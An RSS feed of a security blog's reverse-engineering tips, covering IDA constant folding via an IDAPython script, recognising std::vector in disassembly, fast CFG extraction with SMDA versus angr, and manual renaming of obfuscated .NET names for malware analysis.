<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>reverse &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/reverse/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Mon, 05 Oct 2026 12:57:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>reverse &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Why IDA doesn&#039;t fold constants and how to fix it</title>
		<link>https://ptesc.tech/en/why-ida-does-not-fold-constants-and-how-to-fix-it/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 24 Apr 2026 17:50:41 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d0%be%d1%87%d0%b5%d0%bc%d1%83-ida-%d0%bd%d0%b5-%d1%81%d0%b2%d0%be%d1%80%d0%b0%d1%87%d0%b8%d0%b2%d0%b0%d0%b5%d1%82-%d0%ba%d0%be%d0%bd%d1%81%d1%82%d0%b0%d0%bd%d1%82%d1%8b-%d0%b8-%d0%ba%d0%b0/</guid>

					<description><![CDATA[Why IDA doesn't fold constants and how to fix it 👨‍💻 Recently, obfuscation has been increasingly common in software where constants are replaced with arithmetic expressions. For example, this technique is present in OLLVM. 😑 What's the prob…]]></description>
										<content:encoded><![CDATA[<p><strong>Why IDA doesn&#8217;t fold constants and how to fix it</strong> 👨‍💻</p>
<p>Recently, obfuscation has been increasingly common in software where constants are replaced with arithmetic expressions. For example, this technique is present in OLLVM.</p>
<p>😑 What&#8217;s the problem here: some of the constants that make up the final expression are stored in memory. Because of this, IDA by default cannot properly apply <code>constant propagation</code> and automatically &#8220;fold&#8221; such constructs back into their original values (<em>screenshot 1</em>).</p>
<p>It&#8217;s especially unpleasant when addresses of called functions are also masked this way. In practice, this results in constructs like:</p>

<pre class="wp-block-code"><span><code class="hljs language-x86asm"><span class="hljs-keyword">mov</span>   &lt;reg&gt;, &lt;const&gt;
<span class="hljs-keyword">add</span>   &lt;reg&gt;, <span class="hljs-built_in">cs</span>:&lt;offset_*&gt;
<span class="hljs-keyword">call</span>  &lt;reg&gt;</code></span></pre>

<p>For static analysis, this is of course an extra headache 🧱</p>
<p>But there&#8217;s a nuance: if you explicitly specify that the data at address <code>cs:&lt;offset_*&gt;</code> is a constant <code>qword</code>/<code>dword</code>, then during decompilation IDA will itself pull the value from memory, recalculate the expression, and fold it back into the original constant.</p>
<p>Before explicitly marking such data as <code>const</code>, it&#8217;s worth making sure that the value is truly <code>readonly</code>. One of the simple ways is to look at cross-references: if all references to the address are read-only, then it&#8217;s a good candidate for const (<em>screenshot 2</em>).</p>
<p>It&#8217;s also useful to filter out values that are actually pointers, so as not to break the typing (<em>screenshot 3</em>).</p>
<p>😎 All of this can be automated with a small IDAPython script (IDA 9.0+), which walks through the <code>.data</code> segment (or any other segment you need), finds values that are used only for reading, excludes those that look like addresses, and explicitly marks them as <code>const</code> <code>byte</code>/<code>word</code>/<code>dword</code>/<code>qword</code> depending on their size.</p>
<p>As a result, the pseudocode becomes noticeably cleaner and more readable (<em>screenshot 4</em>).</p>
<p><strong>And here&#8217;s that IDAPython script:</strong></p>
<pre><code>import ida_bytes
import ida_segment
import ida_typeinf
import idautils
import ida_xref
import idaapi
from collections import namedtuple

PTR_SIZE = 8 if idaapi.inf_is_64bit() else 4


TypeInfo = namedtuple('SizeInfo', ['get_data', 'typename', 'badaddr'])

SIZE_TO_TYPE_INFO_MAP = {
    1: (TypeInfo(ida_bytes.get_byte,  "byte",  0xFF)),
    2: (TypeInfo(ida_bytes.get_word,  "word",  0xFFFF)),
    4: (TypeInfo(ida_bytes.get_dword, "dword", 0xFFFFFFFF)),
    8: (TypeInfo(ida_bytes.get_qword, "qword", 0xFFFFFFFFFFFFFFFF))
}


def apply_const_type(ea: int) -&gt; bool:
    flags = ida_bytes.get_flags(ea)
    if not ida_bytes.is_data(flags):
        return False

    item_size = ida_bytes.get_item_size(ea)
    type_info = SIZE_TO_TYPE_INFO_MAP.get(item_size)
    if type_info is None:
        return False

    if type_info.get_data(ea) == type_info.badaddr:
        return False

    typeinfo_str = "const " + type_info.typename
    tif = ida_typeinf.tinfo_t(typeinfo_str)

    ida_bytes.clr_op_type(ea, 0)
    return ida_typeinf.apply_tinfo(ea, tif, 1)


def is_addr_readonly(target_addr: int) -&gt; bool:
    flags = ida_bytes.get_full_flags(target_addr)
    return ida_bytes.has_xref(flags) and \
           all(ref.type == ida_xref.dr_R for ref in idautils.XrefsTo(target_addr))


def apply_const_type_if_readonly(target_addr: int) -&gt; bool:
    return apply_const_type(target_addr) if is_addr_readonly(target_addr) else False


def data_is_offset(ea:int) -&gt; bool: 
    item_size = ida_bytes.get_item_size(ea)
    if item_size != PTR_SIZE:
        return False
    
    type_info = SIZE_TO_TYPE_INFO_MAP.get(item_size)
    if type_info is None:
        return False
    
    value = type_info.get_data(ea)
    return  (idaapi.getseg(value)) is not None 


def main():
    print("Casting readonly memory values to consts ")
    print("---------------------------------")
    
    segment_name = ".data"
    
    seg = ida_segment.get_segm_by_name(segment_name)
    if not seg:
        print("No {segment_name} segment")
        return

    ea = seg.start_ea
    fixed_consts_num = 0

    while ea &lt; seg.end_ea:
        ea_size = ida_bytes.get_item_size(ea)
        if ea_size &lt;= 0:
            ea += 1
            continue

        if not data_is_offset(ea) and apply_const_type_if_readonly(ea):
            fixed_consts_num += 1

        ea += ea_size

    print("---------------------------------")
    print(f"Done. fixed = {fixed_consts_num} consts")
    print("Decompile again to view results: F5")


if __name__ == "__main__":
    main()</code></pre>
<p><span class="hashtag">#tips</span> <span class="hashtag">#reverse</span><br /><a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a> (<a href="https://x.com/ptescalator" target="_blank" rel="noopener">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" target="_blank" rel="noopener">Max</a>)</p>
<figure class="wp-block-image"><img fetchpriority="high" decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_552@24-04-2026_17-50-41-1024x399.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_552@24-04-2026_17-50-41-1024x399.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_552@24-04-2026_17-50-41-300x117.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_552@24-04-2026_17-50-41-768x299.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_552@24-04-2026_17-50-41-1536x598.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_552@24-04-2026_17-50-41-2048x797.jpg 2048w" alt="" width="1024" height="399" /></figure>
<figure class="wp-block-image"><img decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_553@24-04-2026_17-50-41-1024x577.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_553@24-04-2026_17-50-41-1024x577.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_553@24-04-2026_17-50-41-300x169.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_553@24-04-2026_17-50-41-768x432.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_553@24-04-2026_17-50-41-1536x865.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_553@24-04-2026_17-50-41.jpg 1872w" alt="" width="1024" height="577" /></figure>
<figure class="wp-block-image"><img decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_554@24-04-2026_17-50-41-1024x312.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_554@24-04-2026_17-50-41-1024x312.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_554@24-04-2026_17-50-41-300x92.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_554@24-04-2026_17-50-41-768x234.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_554@24-04-2026_17-50-41-1536x469.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_554@24-04-2026_17-50-41.jpg 1872w" alt="" width="1024" height="312" /></figure>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Recognize STL code easily</title>
		<link>https://ptesc.tech/en/recognizing-stl-code-easily/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Wed, 15 Apr 2026 13:47:56 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%80%d0%b0%d1%81%d0%bf%d0%be%d0%b7%d0%bd%d0%b0%d0%b5%d0%bc-stl-%d0%ba%d0%be%d0%b4-%d0%bb%d0%b5%d0%b3%d0%ba%d0%be/</guid>

					<description><![CDATA[Recognizing STL code with ease 😐 During reverse engineering, we often encounter STL code whose analysis at first glance seems difficult. An inexperienced eye may mistake this code for something useful and waste time analyzing some construct…]]></description>
										<content:encoded><![CDATA[<strong>Recognizing STL code with ease</strong> 😐<br />
<br />
During reverse engineering, we often encounter STL code whose analysis at first glance seems difficult. An inexperienced eye may mistake this code for something useful and waste time analyzing some constructor.<br />
<br />
In fact, what matters here is taking the time to recognize an STL container by indirect signs, quickly understand where which data lies, type it, and move on. In a new series of posts, we&#8217;ll cover the most common STL containers and start with <code>std::vector.</code><br />
<br />
<strong>Pattern </strong><strong>1️⃣</strong><strong>: three consecutive reads/writes of pointers</strong><br />
<br />
<code>std::vector</code> is one of the simplest containers. It occupies 24 bytes in memory in 64-bit builds. If we open the source code of <code>std::vector</code> in MSVC STL, we&#8217;ll see the class <code>_Vector_val</code> (<em>screenshot 1</em>), which stores exactly three pointers — the beginning (<code>_Myfirst</code>) and the end of the data (<code>_Mylast</code>), as well as the end of the allocated memory (<code>_Myend</code>).<br />
<br />
It is precisely this trio that defines the vector&#8217;s memory layout. The compiler places them sequentially in memory (offsets 0, 8, 16 bytes in 64-bit code). Therefore, in assembly we will always see accesses at these offsets — this is our main reference point.<br />
<br />
Let&#8217;s immediately look at a simple example <em>in screenshot 2</em>. Without having the source, it&#8217;s clear that the overall picture looks messy. On the left in the assembly code we see a chunk of code:<br />
<br />
<pre class="wp-block-code"><span><code lang="x86asm" class="hljs language-x86asm language-x86asm"><span class="hljs-keyword">xorps</span> <span class="hljs-built_in">xmm1</span>, <span class="hljs-built_in">xmm1</span> <span class="hljs-comment">; и xmm1</span>
<span class="hljs-keyword">movdqu</span> xmmword <span class="hljs-built_in">ptr</span> &#91;<span class="hljs-built_in">rbp</span>+<span class="hljs-number">57h</span>+var_68], <span class="hljs-built_in">xmm1</span> <span class="hljs-comment">; записываем 16 нулевых байт по адресу var_68</span>
<span class="hljs-keyword">xor</span> <span class="hljs-built_in">r15d</span>, <span class="hljs-built_in">r15d</span> <span class="hljs-comment">; обнуляем r15d</span>
<span class="hljs-keyword">mov</span> &#91;<span class="hljs-built_in">rbp</span>+<span class="hljs-number">57h</span>+var_58], <span class="hljs-built_in">r15</span> <span class="hljs-comment">; записываем 8 нулевых байт по адресу var_58</span></code></span></pre><br />
<br />
The compiler accesses the vector&#8217;s members as offsets relative to a base address. The base address here is in the local variable var_68. The first 16 bytes are zeroed out: at offset <code>var_68</code> lies <code>_Myfirs</code>t, at offset <code>var_60</code> — <code>_Mylast</code>. Then <code>_Myend,</code> which is located at offset <code>var_58</code>, is zeroed out.<br />
<br />
Thus, we see the initialization of an empty vector, performed instead of calling the default constructor. We check the vector&#8217;s size — 16 + 8 = 24 bytes. In <em>screenshot 3</em> you can see what the vector looks like on the stack.<br />
<br />
This makes our task easier. For now we assume that we&#8217;re working with a vector, but there&#8217;s still a chance that we might want to reverse <code>sub_140002860.</code> Let&#8217;s look at the second pattern, come to our senses, and not do that.<br />
<br />
<strong>Pattern </strong><strong>2️⃣</strong><strong>: </strong><code>push_back</code><strong> and checking whether the vector is full</strong><br />
<br />
In C++, the vector&#8217;s <code>push_back()</code> is a built-in method used to add a new element to the end of the vector. It automatically resizes the vector if there isn&#8217;t enough space to place the new element. It&#8217;s worth noting that this is not the only or the primary way to fill a vector, but in this post we&#8217;ll consider it as a specific operation in which the main pattern manifests itself.<br />
<br />
Usually, if this method is used, the implementation in pseudocode will look something like this:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">if (_Mylast == _Myend)
  push_back_func();
else
  construct(_Mylast, value);
  ++_Mylast;</code></span></pre><br />
<br />
The code checks whether there is room for a new element in the vector. If not, then it is allocated and the element will be added to the end of the vector. If there is, the value is added at the address currently pointed to by <code>_Mylast</code>. Let&#8217;s look at our example <em>in screenshot 4</em>.<br />
<br />
👀 We see that the pattern is visible. There is a comparison of the pointers <code>_Mylast</code> and <code>_Myend</code>, followed by a call to the function <code>sub_140002860</code>, to which our pointers and the target value are passed. If we step into <code>sub_140002860</code>, the first thing we&#8217;ll see will be the computation of the vector&#8217;s size — <code>size() = (_Mylast - _Myfirst) / sizeof(T)</code> (<em>screenshot 5</em>). That is, in order to determine whether new memory needs to be allocated, the function needs to compute the new size of the vector and compare it with the current capacity. For us, this is a hint — we&#8217;re looking at the <code>push_back</code> function.<br />
<br />
🤝 Now that it&#8217;s clear that we&#8217;re dealing with a vector, we can recreate its structure (<em>screenshot 6</em>) and the structure that uses it, and mark them up in IDA (<em>screenshot 7</em>). It looks a bit better and clearer.<br />
<br />
Despite the existence of other constructors and methods of <code>std::vector</code>, knowing its internal memory layout allows us to easily identify a vector in compiled code.<br />
<br />
Stay tuned!<br />
<br />
<span class="hashtag">#tip</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)

<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_538@15-04-2026_13-47-56-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_538@15-04-2026_13-47-56-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_538@15-04-2026_13-47-56-300x187.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_538@15-04-2026_13-47-56-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_538@15-04-2026_13-47-56-1536x960.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_538@15-04-2026_13-47-56.jpg 1722w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="370" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_539@15-04-2026_13-47-56-1024x370.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_539@15-04-2026_13-47-56-1024x370.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_539@15-04-2026_13-47-56-300x108.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_539@15-04-2026_13-47-56-768x277.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_539@15-04-2026_13-47-56-1536x555.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_539@15-04-2026_13-47-56.jpg 1722w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="574" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_540@15-04-2026_13-47-56-1024x574.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_540@15-04-2026_13-47-56-1024x574.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_540@15-04-2026_13-47-56-300x168.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_540@15-04-2026_13-47-56-768x431.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_540@15-04-2026_13-47-56-1536x862.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_540@15-04-2026_13-47-56.jpg 1722w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="972" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_541@15-04-2026_13-47-56-1024x972.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_541@15-04-2026_13-47-56-1024x972.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_541@15-04-2026_13-47-56-300x285.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_541@15-04-2026_13-47-56-768x729.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_541@15-04-2026_13-47-56.jpg 1351w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1011" height="1024" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_542@15-04-2026_13-47-56-1011x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_542@15-04-2026_13-47-56-1011x1024.jpg 1011w, https://ptesc.tech/wp-content/uploads/2026/04/photo_542@15-04-2026_13-47-56-296x300.jpg 296w, https://ptesc.tech/wp-content/uploads/2026/04/photo_542@15-04-2026_13-47-56-768x778.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_542@15-04-2026_13-47-56.jpg 1266w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /></figure>
<figure class="wp-block-image"><img width="1011" height="1024" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_543@15-04-2026_13-47-56-1011x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_543@15-04-2026_13-47-56-1011x1024.jpg 1011w, https://ptesc.tech/wp-content/uploads/2026/04/photo_543@15-04-2026_13-47-56-296x300.jpg 296w, https://ptesc.tech/wp-content/uploads/2026/04/photo_543@15-04-2026_13-47-56-768x778.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_543@15-04-2026_13-47-56.jpg 1266w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /></figure>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Again CFG</title>
		<link>https://ptesc.tech/en/again-cfg/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 16 Mar 2026 13:14:09 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%be%d0%bf%d1%8f%d1%82%d1%8c-cfg/</guid>

					<description><![CDATA[CFG again 👋 A common task when extracting malware configurations at scale is obtaining function boundaries and references. The most typical example is string decryption functions, since often only the input arguments containing the encrypte…]]></description>
										<content:encoded><![CDATA[<p><strong>CFG again</strong> 👋</p>
<p>A common task when extracting malware configurations at scale is obtaining function boundaries and references. The most typical example is string decryption functions, since often only the input arguments containing the encrypted buffer differ.</p>
<p>Such functionality is a basic part of analysis tools like IDA, Binary Ninja, and others, but for our needs they are overkill and not always convenient for embedding into a project.</p>
<p>🤔 Next, <a href="https://angr.io/" rel="noopener" target="_blank">angr</a> comes to mind. Let&#8217;s try building a CFG with it:</p>
<pre><code>io_wrapper = BytesIO(code)
proj = angr.Project(
        io_wrapper,
        main_opts={
            &quot;backend&quot;: &quot;blob&quot;,
            &quot;arch&quot;: &quot;x86&quot;,  
            &quot;base_addr&quot;: imagebase,
        },
        auto_load_libs=False,
    )

cfg = proj.analyses.CFGFast(
    cross_references=True,
    normalize=True,
)</code></pre>
<p>After a few experiments, it becomes clear that speed is not its strong suit: analyzing a test buffer took an average of 45 seconds.</p>
<p>⏰ In our case, speed is important, so after some googling, we find the <a href="https://github.com/danielplohmann/smda" rel="noopener" target="_blank">SMDA</a> project and decide to experiment with it. First, we initialize the config, immediately disabling unnecessary features and setting analysis time and size limits:</p>
<pre><code>config = SmdaConfig()
config.CALCULATE_HASHING = False
config.CALCULATE_SCC = False
# having a valid prologue is enough
config.CONFIDENCE_THRESHOLD = 0.29
config.MAX_IMAGE_SIZE = 5 * 2 ** 20 #
config.TIMEOUT = 60</code></pre>
<p>Let&#8217;s run the analysis and check the results. The library allows setting an arbitrary base address, which is extremely convenient when working with images from dumps:</p>
<pre><code>dism = Disassembler(config=config, backend=&quot;intel&quot;)
report = dism.disassembleBuffer(file_content=code, base_addr=imagebase, bitness=32)
if report.status == &quot;ok&quot;:
    report.initCodeXrefs()</code></pre>
<p>If the analysis is successful, the report will contain information about functions, their basic blocks, instructions within blocks, and references between functions. You can retrieve all of this as follows:</p>
<pre><code>for smda_func in report.getFunctions():
    if smda_func.blocks:
        for block_instructions in smda_func.blocks.values():
            for smda_isnn in block_instructions:
                print(f&quot;{smda_func.offset} | {smda_isnn.detailed}&quot;)

    for smda_out_ref in smda_func.getCodeOutrefs():
        print(f&quot;{smda_func.offset} | Out ref {smda_out_ref.to_func}&quot;)

    for smda_in_ref in smda_func.getCodeInrefs():
        print(f&quot;{smda_func.offset} | In ref {smda_in_ref.from_func}&quot;)</code></pre>
<p>👀 <strong>Example output for one of the functions:</strong></p>
<pre><code>c749b0 | &lt;CsInsn 0xc749b0 [ff742408]: push dword ptr [esp + 8]&gt;
c749b0 | &lt;CsInsn 0xc749b4 [ff742408]: push dword ptr [esp + 8]&gt;
c749b0 | &lt;CsInsn 0xc749b8 [e893feffff]: call 0xc74850&gt;
c749b0 | &lt;CsInsn 0xc749bd [83c408]: add esp, 8&gt;
c749b0 | &lt;CsInsn 0xc749c0 [89c1]: mov ecx, eax&gt;
c749b0 | &lt;CsInsn 0xc749c2 [31c0]: xor eax, eax&gt;
c749b0 | &lt;CsInsn 0xc749c4 [85c9]: test ecx, ecx&gt;
c749b0 | &lt;CsInsn 0xc749c6 [7409]: je 0xc749d1&gt;
c749b0 | &lt;CsInsn 0xc749c8 [83790402]: cmp dword ptr [ecx + 4], 2&gt;
c749b0 | &lt;CsInsn 0xc749cc [7503]: jne 0xc749d1&gt;
c749b0 | &lt;CsInsn 0xc749ce [8b4108]: mov eax, dword ptr [ecx + 8]&gt;
c749b0 | &lt;CsInsn 0xc749d1 [c3]: ret &gt;
c749b0 | Out ref 0xc749b8 (0xc749b0) -&gt; 0xc74850 (0xc74850)</code></pre>
<p>Measuring the analysis time, we get a <strong>result of about 1 second</strong>, which is a good indicator and suitable for use at scale.</p>
<p>✍️ To summarize: SMDA is a fast and convenient tool if the task is only to obtain a CFG and references. For other types of <s>black magic</s> analysis, heavier tools like angr are more suitable.</p>
<p><span class="hashtag">#tip</span> <span class="hashtag">#reverse</span> <span class="hashtag">#malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Deobfuscating .NET function names manually</title>
		<link>https://ptesc.tech/en/deobfuscating-net-function-names-manually/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 24 Nov 2025 14:30:15 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b4%d0%b5%d0%be%d0%b1%d1%84%d1%83%d1%81%d1%86%d0%b8%d1%80%d1%83%d0%b5%d0%bc-%d0%b8%d0%bc%d0%b5%d0%bd%d0%b0-%d1%84%d1%83%d0%bd%d0%ba%d1%86%d0%b8%d0%b9-net-%d0%b2%d1%80%d1%83%d1%87%d0%bd%d1%83%d1%8e/</guid>

					<description><![CDATA[Deobfuscating .NET function names manually 🙌 .NET malware loves packers, obfuscation (of names, CFG, and other things), and multi-stage reflective image loading. At the same time, open-source deobfuscators always lag behind the current vers…]]></description>
										<content:encoded><![CDATA[<strong>Deobfuscating .NET function names manually</strong> 🙌<br />
<br />
.NET malware loves packers, obfuscation (of names, CFG, and other things), and multi-stage reflective image loading. At the same time, open-source deobfuscators always lag behind the current versions of their counterparts, if they are maintained at all. Let&#8217;s look at one such case.<br />
<br />
Let&#8217;s assume that we already have a dump of the necessary process and some knowledge of where the payload we need was located in memory, as well as the binary that we were able to extract from there (we&#8217;ll talk about how to do this in an automated way some other time).<br />
<br />
Let&#8217;s open the binary in dnSpy and see the following picture (<em>screenshot 1</em>).<br />
<br />
Let&#8217;s recall that de4dot exists and try feeding the binary to it. Taking what <a href="https://github.com/GDATAAdvancedAnalytics/de4dotEx" rel="noopener" target="_blank">looks like the most up-to-date version</a> among a bunch of forks (or forks of forks (or forks of forks of forks)), let&#8217;s run the command:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">&gt;  de4dotex .\sample.bin -vv</code></span></pre><br />
<br />
The result is <em>in screenshot 2</em>.<br />
<br />
No luck. But from the error it becomes clear that the problem is somewhere in the renaming logic and may be related, for example, to the packer being used or to the fact that the binary was ripped from the dump not entirely correctly. We&#8217;ll have to fix them manually.<br />
<br />
🐍Let&#8217;s try doing this in Python, using the <a href="https://github.com/malwarefrank/dnfile" rel="noopener" target="_blank">dnfile</a> and <a href="https://github.com/mandiant/dncil" rel="noopener" target="_blank">dncil,</a> combo, throwing together some code to collect the obfuscated function and field names (<em>screenshot 3</em>).<br />
<br />
Now we need to write the logic for patching names directly in the binary. However, there is a catch related to the fact that&#8230;<span class="spoiler">dncil doesn&#8217;t have such functionality</span>.<br />
<br />
Let&#8217;s rewrite the same thing in C#, borrowing <code>dnlib.dll</code> from de4dot so as not to suffer with building it ourselves. And to avoid getting confused among the pile of Visual Studio menus, let&#8217;s just reduce the <code>.csproj</code> to the following form (<em>.Net 4.8 and its SDK are required</em>):<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">&lt;Project Sdk="Microsoft.NET.Sdk"&gt;
  &lt;PropertyGroup&gt;
    &lt;TargetFramework&gt;net48&lt;/TargetFramework&gt;
    &lt;ImplicitUsings&gt;enable&lt;/ImplicitUsings&gt;
  &lt;LangVersion&gt;10.0&lt;/LangVersion&gt;
    &lt;Nullable&gt;enable&lt;/Nullable&gt;
    &lt;OutputType&gt;Exe&lt;/OutputType&gt;
  &lt;/PropertyGroup&gt;
  &lt;ItemGroup&gt;
    &lt;Reference Include="dnlib"&gt;
      &lt;HintPath&gt;dnlib.dll&lt;/HintPath&gt;
    &lt;/Reference&gt;
  &lt;/ItemGroup&gt;
&lt;/Project&gt;</code></span></pre><br />
<br />
Let&#8217;s create a Utils class with two functions — checking the validity of a name and generating a new name (<em>screenshot 4</em>). Finally, let&#8217;s describe the main logic for renaming types, methods, properties, fields, and class events (<em>screenshot 5)</em>. The result of running the program is presented <em>in screenshot 6</em>.  <br />
 <br />
As you can see, the methods and fields were renamed and everything worked successfully. At the same time, it&#8217;s important to understand that you can&#8217;t always deobfuscate names so &#8220;bluntly&#8221; while preserving the program&#8217;s functionality. For example, if the image searches for some function at runtime by its string name, after such manipulations it won&#8217;t find it. <br />
<br />
For static analysis, however, this approach is quite convenient — instead of a ton of identical junk that doesn&#8217;t fit on the screen, you can get short names for the fields of interest. If you go over the resulting binary again with your eyes, you can find some more obfuscated fields: variable names in methods, some structures, etc. If desired, they can be fixed in a similar way.<br />
<br />
👀 To summarize the above: <code>dncil</code> is convenient if cross-platform capability is required and there is no need to modify data. Such a task, for example, is finding the constructor that fills in the malware&#8217;s configuration.<br />
<br />
In the alternative case, you can go straight to <code>dnlib</code> or tools based on it.<br />
<br />
Happy reversing!

